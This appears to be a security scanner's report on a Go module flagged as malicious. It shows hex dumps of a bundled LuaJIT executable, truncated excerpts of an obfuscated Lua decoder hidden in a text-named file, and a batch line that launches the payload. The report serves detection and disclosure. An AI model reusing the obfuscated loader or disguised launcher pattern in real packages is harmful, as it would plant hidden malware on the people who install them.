Hostile ^93% go Download

github.com/user02PL/YahooFundamentals v0.0.0-20260828235708-243552f557d8

Obfuscated Lua payload in Go module

Archive bundles full LuaJIT launcher runtimeArchive runs a packed text payload through bundled LuaJIT

SHA-256da7237a2fa8df28adc8f2ae2b6894847ef4c0b1d0acecd7f0b5ade3df8fe78c2

URLhttps://proxy.golang.org/github.com/user02!p!l/!yahoo!fundamentals/@v/v0.0.0-20260828235708-243552f557d8.zip

MaleculeK(Li)O₄(AsSErC)H₇(Cm₂DbF₃Mg₂OsPo₉Ti₂)Md₃(Bi₂Pt)

Evidence

Embedded HTTP or WebSocket URL util.exe · 0x943c2–0x94662

0x943c22053746f702068616e646c696e67206f Stop handling o
0x943d27074696f6e732e0a20202d2020202020ptions..  -     
0x943e220202020457865637574652073746469    Execute stdi
0x943f26e20616e642073746f702068616e646cn and stop handl
0x94402696e67206f7074696f6e732e0a002865ing options...(e
0x9441272726f72206f626a656374206973206error object is n
0x944226f74206120737472696e672900005f5fot a string)..__
0x94432746f737472696e670000000000004c75tostring......Lu
0x94442614a495420322e312e302d6265746133aJIT 2.1.0-beta3
0x94452202d2d20436f70797269676874202843 -- Copyright (C
0x944622920323030352d32303137204d696b65) 2005-2017 Mike
0x944722050616c6c2e20687474703a2f2f6c75 Pall. http://lu
0x94482616a69742e6f72672f0a000000005f4cajit.org/....._L
0x944924f41444544006a697400737461747573OADED.jit.status
⋯9 more rows
0x9453200006d6f64756c652000737461727400..module .start.
0x945420000756e6b6e6f776e206c75614a4954..unknown luaJIT
0x9455220636f6d6d616e64206f72206a69742e command or jit.
0x945622a206d6f64756c6573206e6f7420696e* modules not in
0x945727374616c6c65640000006a69742e6f70stalled...jit.op
0x94582740062637361766500003d28636f6d6dt.bcsave..=(comm
0x94592616e64206c696e6529004c55415f494eand line).LUA_IN
0x945a24954000000003d4c55415f494e495400IT....=LUA_INIT.
0x945b200004c55415f4e4f454e560000006361..LUA_NOENV...ca
0x945c26e6e6f74206372656174652073746174nnot create stat
⋯10 more rows

PE export table identifies as luajit.exe util.exe · 0xac592–0xac6b2

⋯5 more rows
0xac5e2a900aa00ab00ac00ad00ae00af00b000................
0xac5f26c75616a69742e657865005f5f737770luajit.exe.__swp
0xac60272696e74665f6c005f5f767377707269rintf_l.__vswpri
⋯11 more rows

Lua half-table permutation decoder lj_asm.txt · line 1

1return(function(...)return(function(O,f,E,B,C,q,j,t,l,W,H,w,Z,M,F,r,b,x,P,Y,U,v,X,s)Y,x,M,l,b,s,U,X,w,v,H,r,t,F,Z,W,P=function(O,f)local E=x(f)local B=function(B,C,q)return Z(O,{B,C;q},f,E)end return B end,function(O)local f=function(O)local Z=""for f=1,#O/2,1 do Z=Z..O[#O/2+O[f]]end return Z end local Z=function(O)local Z,f=O[#O],""for E=1,#Z,1 do f=f..Z[O[E]]end return f end for Z=148083+-148082,#O,939824-939823 do v[O[Z]]=(-849164-(-849165))+v[O[Z]]end if E then local Z=E(true)local f=C(Z)f.__index,f.__gc,f.__len=O,t,function()return 2154038-4 …

Decimal-escaped Lua string table lj_asm.txt · line 1

1:558…  end return Z else return B({},{[f({2,1,"\103\099";"\095\095"})]=t,[Z({1;3,2,{"\095";"\101\120";"\095\105\110\100"}})]=O;__len=function()return 1610974-(-77289)end})end end,function(O,f)local E=x(f)local B=function(B,C,q,j,W,v,X,P,x,t,b)return Z(O,{B,C,q;j;W;v;X,P;x,t;b},f,E)end return B end,function(O,f …

Batch starts executable with text-named payload Launcher.cmd · line 1

1start luajit.exe crt.txt

Showing the top 5 files — 2 more files (38 regions) not shown.

No evidence locations were recorded for this file. Raw result